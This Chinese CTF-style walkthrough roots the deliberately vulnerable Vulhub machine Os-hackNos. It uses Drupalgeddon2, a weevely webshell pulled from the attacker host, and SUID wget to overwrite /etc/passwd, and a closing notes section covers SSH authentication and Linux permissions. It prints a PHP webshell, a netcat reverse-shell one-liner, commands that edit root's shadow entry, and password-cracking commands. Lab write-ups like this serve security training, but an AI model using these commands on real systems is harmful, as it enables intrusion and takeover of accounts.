首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vulhub系列:Os-hackNos

Vulhub系列:Os-hackNos

作者头像
Ms08067安全实验室
发布2019-12-02 20:52:26
1.4K0
发布2019-12-02 20:52:26
举报

0x01 环境搭建

靶机链接: https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

发布日期: 2019.11.27

靶机描述:

难易程度:初级到中级

Flag:普通用户和root用户各一个flag

技能:漏洞利用 | web应用 | 暴力破解 | 权限提升

注:五毛钱翻译

Vbox直接导入Ova文件,取消USB设备,基于安全考虑,网络连接改为Hostonly,以下官方警告

Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for "protecting yourself and your network. If you understand the risks, please download!

0x02 信息收集

主机发现

netdiscover -i eth1

Kali:192.168.56.127

Os-hackNos-1:192.168.56.130

端口扫描

nmap -A -p- 192.168.56.130

发现开了22,80 http端口

ssh-hostkey

OpenSSH 通过在 know-hosts 中存储主机名和 hostkey 对服务端身份进行认证

以上扫描结果中的hostkey即ssh服务端的主机密钥,用于验明正身。

参考:https://security.stackexchange.com/questions/77068/what-kind-of-vulnerability-it-may-have-for-known-ssh-hostkey

无安全隐患

目录发现

dirb http://192.168.56.130

得到以下路径

http://192.168.56.130/drupalhttp://192.168.56.130/index.htmlhttp://192.168.56.130/server-statushttp://192.168.56.130/drupal/includeshttp://192.168.56.130/drupal/index.phphttp://192.168.56.130/drupal/misc/                              http://192.168.56.130/drupal/modules/                           http://192.168.56.130/drupal/profiles/                          http://192.168.56.130/drupal/robots.txthttp://192.168.56.130/drupal/scripts/                           http://192.168.56.130/drupal/sites/                             http://192.168.56.130/drupal/themes/                            http://192.168.56.130/drupal/web.confighttp://192.168.56.130/drupal/xmlrpc.php

0x03 漏洞发现

搜索:drupal exploit github,返回如下

针对Drupal 8.5或以下版本有效exploit,该脚本成功执行后返回一个php shell,试验如下

0x04 漏洞利用

git clone https://github.com/dreadlocked/Drupalgeddon2.git

在运行脚本前,需要预装依赖包highline

gem install highline

执行脚本

./drupalgeddon2.rb http://192.168.56.130/drupal/

成功获得one shell

查看权限

hackNos>> iduid=33(www-data) gid=33(www-data) groups=33(www-data)

查看用户

hackNos>> cat /etc/passwdroot:x:0:0:root:/root:/bin/bashjames:x:1000:1000:james,,,:/home/james:/bin/bash

注意到普通用户:james

查看文件

注意到php一句话shell,不要误会,这是POC自带的

<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }

0x05 权限提升

weevely

使用weevely生成小马

weevely generate hello ./door.php

将小马传到靶机上

hackNos>> scp root@192.168.56.127:/root/Vulhub/os-hackNos/door.php .

scp传输失败,使用wget

#Kali 开启web服务器python -m SimpleHTTPServer#靶机 wget下载door.phpwget http://192.168.56.127/door.php

weevely连接马儿

weevely http://192.168.56.130/drupal/door.php hello

浏览用户目录

james用户目录下发现一串MD5哈希,估计是密码

bae11ce4f67af91fa58576c1da2aad4b

解密失败

浏览网站目录

发现base64编码的一串密文

解密后为:

+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[->+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+++.<

貌似是一种程序语言,解密后得到:james:Hacker4514

https://www.dcode.fr/brainfuck-language

切换用户

duang,没有tty终端和密码请求程序,不能切换用户

suid提权

先检查哪些命令具有suid权限(具有suid权限的命令可以以文件拥有者的权限执行)

当然也可以直接在shell中运行以下命令寻找既为root用户,也拥有SUID权限的程序;

find / -user root -perm -4000 -print 2>/dev/null

我们发现wget命令可以可以使普通用户以root权限执行,即我们可以利用它修改passwd文件,加入特权用户

生成密码哈希

➜  os-hackNos openssl passwd -1 -salt salt shavchen$1$salt$7CYrr6C0te0cfadil8CzL.

使用weevely自带的file_download命令下载passwd文件到本地

file_download passwd /root/Vulhub/os-hackNos/passwd

写入特权用户

echo 'shavchen:$1$salt$7CYrr6C0te0cfadil8CzL.:0:0::/root/:/bin/bash' >> passwd

使用wget -O命令替代靶机原来的passwd文件(suid提权意义所在)

wget http://192.168.56.127:8000/passwd -O passwd

切换用户,失败,惨惨

此时需要一个标准shell,参考 https://serverfault.com/questions/544328/su-must-be-run-from-a-terminal

得知PHP shell无法执行交互行为,使用su命令会请求密码输入(askpass)

因此,我们需要获得一个标准shell,请教表哥,说直接用meterperter即可

meterpreter

use exploit/unix/webapp/drupal_drupalgeddon2set rhosts 192.168.56.130set targeturi /drupal

使用meterpreter的shell命令切换到标准终端,输入 python3-c'import pty; pty.spawn("/bin/bash")'即获取标准shell

此时,切换用户,已经是root

至此完成

0x06 知识总结

SSH 认证机制

SSH(Secure Shell)是一个提供数据通信安全、远程登录、远程指令执行等功能的安全网络协议 。

SSH结合使用了 PublicKey/Privatekey(公钥/私钥)SecretKey(密钥)

  • PublicKey/Privatekey(非对称加密):用于在建立安全通道前在客户端和服务端之间传输 SecretKey和进行身份认证。
  • SecretKey(对称加密):用来作为SSH会话的安全保证,对数据进行加密和解密。

SSH可以处理4种密钥:

  1. Host Key : 是服务器用来证明自己身份的一个永久性的非对称密钥
  2. User Key : 是客户端用来证明用户身份的一个永久性的非对称密钥
  3. Server Key : 是SSH-1协议中使用的一个临时的非对称密钥,用于帮助建立安全连接
  4. Session Key : 是一个随机生成的对称密钥,对用户SSH客户端和服务器之间的通信进行加密,会话结束时,被销毁
安全通道的建立

在进行有意义的会话之前,SSH客户端和服务器必须首先建立一条安全连接,该连接可以允许双方共享密钥、密码,最后可以相互传输任何数据。

建立步骤,以SSH-1协议为例:

1)客户端连接到服务端:ssh name@ip

2)交换协议版本号,建立连接需要客户端和服务端均兼容的协议版本

3)向下切换协议,切到基于报文的协议

4)服务端向客户端提供主机密钥(Host Key)和服务器密钥(Server Key)以及随机检测字节

此时,双方都要计算一个通用的 128 位 会话标识符(SessionID),用于唯一标识此次会话

当客户端接收到 主机密钥(HostKey)时,它要进行询问:"之前我和这个服务器通信过吗?如果通信过,那么它的主机密钥是什么呢?"

要回答这个问题,客户端就要査阅自己的已知名主机数据库,如果新近到达的主机密钥可以和数据库中以前的一个密钥匹配,那么就没有问题了。否则的话需要人输入确认信息,如下

The authenticity of host '192.168.56.120' can't be established.RSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.Are you sure you want to continue connecting (yes/no)?

5)客户端给服务端发送一个会话密钥(Session Key),用于对会话数据进行加解密

当然,客户端不能简单地把Session Key发送给服务器,因为这时数据还没有加密,如被窃取,则所有会话都能被解读

这时客户端通过两次加密实现Session Key传送,使用服务器的公共主机密钥(Host Key)和服务器密钥(Server Key)进行加密。

6)双方启用加密并完成服务器认证

在发送Session Key后, 客户端等待服务器返回一个消息,该消息必须使用该Session Key加密,用于确保目标服务器的真实性(因为Session Key是通过服务器的Host Key进行加密的,即只有目标服务器才能解析出正确的Session Key)

而这时我们需要思考:如果Host Key泄露的话,是否可以解析Session Key,以至于危害到后续SSH会话

这时SSH-2通过服务器密钥(Server Key)对Session Key进行再次加密,因为Server Key是临时的,而且每小时更新一次

这时, 如果一个入侵者已经获取了服务器的私钥,那么他必须还要执行中间人攻击或服务器欺骗攻击才能对会话造成损害。

7)建立安全连接

由于客户端和服务器现在都知道 会话密钥(SessionKey),而其他人都不知道,因此他们就可以相互发送加密消息(使用他们一致同意的 bulk算法 )并对其进行解密了。

而且,客户端还可以完成服务器认证

以下讨论两种经常使用的的 PasswordPublicKey客户端认证 方式。

基于口令的认证

Password 方式既客户端提供用户和密码,服务端对用户和密码进行匹配,完成认证。

可以通过暴力破解攻击此类认证方式中的弱密码。

medusa -M ssh -H ./host.txt -U ./users.txt -P p.txthydra -L user.txt -P p.txt -t 6 172.16.xx.xx ssh
基于公钥的认证

PublicKey 认证的基本原理是基于非对称加密方式,分别在服务端对一段数据通过公钥进行加密,如果客户端能够证明其可以使用私钥对这段数据进行解密,则可以说明客户端的身份。

因为服务端需要使用客户端生成的密钥对的公钥对数据首先加密,所以需要先将公钥存储到服务端的密钥库(Auhtorized Key)。

步骤如下:

客户端发起一个 PublicKey 的认证请求,并发送 RSAKey 的模数作为标识符。

服务端检查是否存在请求帐号的公钥( ~/.ssh/authorized_keys 文件中),以及其拥有的访问权限,

如果没有则断开连接.

服务端使用对应的公钥对一个随机的256位的字符串进行加密,并发送给客户端

客户端使用私钥对字符串进行解密,并将其结合 SessionID 生成一个MD5值发送给服务端。

结合 SessionID 的目的是为了避免攻击者采用 重放攻击(replay attack)

服务端采用同样的方式生成 MD5值 与客户端返回的 MD5值 进行比较,完成对客户端的认证。

常见文件的解读

该目录和文件可以由以下命令生成

ssh-keygen -t rsa -P 'test'

表示在用户的主目录创建ssh登陆,即:以rsa算法,生成公钥、私钥对,密码为test。

authorizedkeys:授权文件,当存在主机集群的时候会产生该文件,存储着各个机器的公钥, 当把master的公钥添加到authorizedkeys中, 下次连接直接输入ssh master即可,不需要再次输入密码

knownhosts:存放已经连接过的主机的公钥,当把master的公钥添加到knownhosts中,下次只需要直接输入master密码连接即可。

id_rsa:存放服务器的私钥,其中保存着ssh登录用户密码信息,可以通过john ripper破解

首先我们需要将私钥文件转换为john能识别的文件格式,使用ssh2john

python /usr/share/john/ssh2john.py id_isa > keyjohn key --wordlist=/usr/share/wordlists/rockyou.txt

idrsapub:存放服务器的公钥,在客户端被重命名为authorized_keys,内容不变,可以实现免输密码登录

注意,需要执行 chmod600~/.ssh/authorized_keys给其授权,方能登录。

Linux特殊权限

在linux权限当中,除了 rwx三种基本权限之外,还有三种特殊权限, SUIDSGIDSBIT三种

suid

SET UID权限,其只出现于二进制文件拥有者执行权限x上,标注为s,其作用是如果执行者有其对应执行权限x,那么在程序运行过程中,程序将获得程序拥有者的权限

如上图我们看到passwd的拥有者为root,执行权限为x,即当我们以普通用户执行passwd命令时,和root用户执行passwd的效果一致。

我们在提权的时候需要查找 owner为root且suid的二进制文件,可以使用如下命令

 find / -user root -perm -4000 2>/dev/null

常见的具有suid权限的命令,提权的思路如下

Nmap (低版本2.02-5.21可直接使用 --interactive进入交互模式 使用!sh进行提权)find (如果find以suid运行,可以使用 find test -exec whami \;方式运行,或 find test -exec netcat -v -l 22222 -e /bin/bash \;反弹shell)vim (:shell)bash (bash -p)less /etc/shadowmore /etc/shadownano
sgid

SUID,是在owner的x权限上有s标志,那么如果在群组x权限上的s标志,即为 SET GID权限,二进制程序在执行期间则可以获取群组的权限支持。

sbit

StickyBit只针对目录有效,其作用是在其目录中,使用者只能对自己创建的文件或目录进行删除/更名/移动等动作,而无法删除他人的文件,最为常见的就是 在 /tmp中,每个用户只能操作自身创建的文件或目录 。

Linux密码文件

Linux系统中,所有用户(包括系统管理员)的账号和密码都可以在/etc/passwd和/etc/shadow这两个文件中找到 。

passwd

/etc/passwd文件 只有系统管理员才可以修改的,该文件对所有用户可读。其中记录着每个用户的以下基本属性。

root:x:0:0:root:/root:/bin/bash为例, 我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,分述如下

  • 账户名称
  • 密码占位符 , x表示该账户需要密码才能登录,为空时,账户无须密码即可登录
  • 账户UID
  • 账户GID
  • 账户附加基本信息,一般存储账户名全称,联系方式等信息
  • 账户家目录位置
  • 账户登录Shell, /bin/bash为可登录系统Shell,/sbin/nologin表示账户无法登录系统
shadow

/etc/shadow文件正如他的名字一样,他是passwd文件的一个影子,/etc/shadow文件中的记录行与/etc/passwd中的一一对应,它由pwconv命令根据/etc/passwd中的数据自动产生。

但是/etc/shadow其他用户看不了,/etc/shadow文件只有系统管理员才能够进行修改和查看。

root:$6$me.YhHKX9pdQTWfs$mP6wk19T1u9/MSJ./:18004:0:99999:7:::为例, 我么可以看到shadow文件每一行同样由若干个字段组成,字段之间用":"隔开,每个字段分述如下:

  • 账户名称
  • 密码 , 账户未设置密码时为!!,设置密码后加密显示
  • 上次修改密码的时间距离1970年01月01日多少天
  • 密码最短有效天数,0表示无限制
  • 密码最长有效天数(默认位99999天,可以理解为永不过期)
  • 密码过期后的宽限天数(密码过期后,预留几天给账号修改密码,此时已无法使用旧密码登录)
  • 账户失效日期(从1970年01月01日起多少天后账户失效)
  • 第九列暂时保留未使用

回过头来看看我们之前的命令

echo 'shavchen:$1$salt$7CYrr6C0te0cfadil8CzL.:0:0::/root/:/bin/bash' >> passwd

生成密码哈希可以通过openssl工具,openssl只支持md5算法,可以使用 grub-crypt 工具替代

参考:https://www.haxi.cc/archives/手动生成Linux密码-etc-shadow.html

openssl passwd -1 '123456'openssl passwd -1 -salt 'abcdefg' '123456'

当获得shell并且具有shadow文件修改权限的时候可以尝试替换root用户的密码,如下

shell> field=$(awk -F ':' '/^root/{print $2}' /etc/shadow)shell> password=$(openssl passwd -1 123456)shell> sed -i '/^root/s%'$field'%'$password'%' /etc/shadow

爆破密码哈希可以尝试以下工具

john --wordlist=/usr/share/john/password.lst ./shadowhashcat -m 1800 -o found.txt --remove shadow /usr/share/john/password.lst#1800对应SHA-512

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 环境搭建
  • 0x02 信息收集
    • 主机发现
      • 端口扫描
        • 目录发现
        • 0x03 漏洞发现
        • 0x04 漏洞利用
        • 0x05 权限提升
          • weevely
            • meterpreter
            • 0x06 知识总结
              • SSH 认证机制
                • 安全通道的建立
                • 基于口令的认证
                • 基于公钥的认证
                • 常见文件的解读
              • Linux特殊权限
                • suid
                • sgid
                • sbit
              • Linux密码文件
                • passwd
                • shadow
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档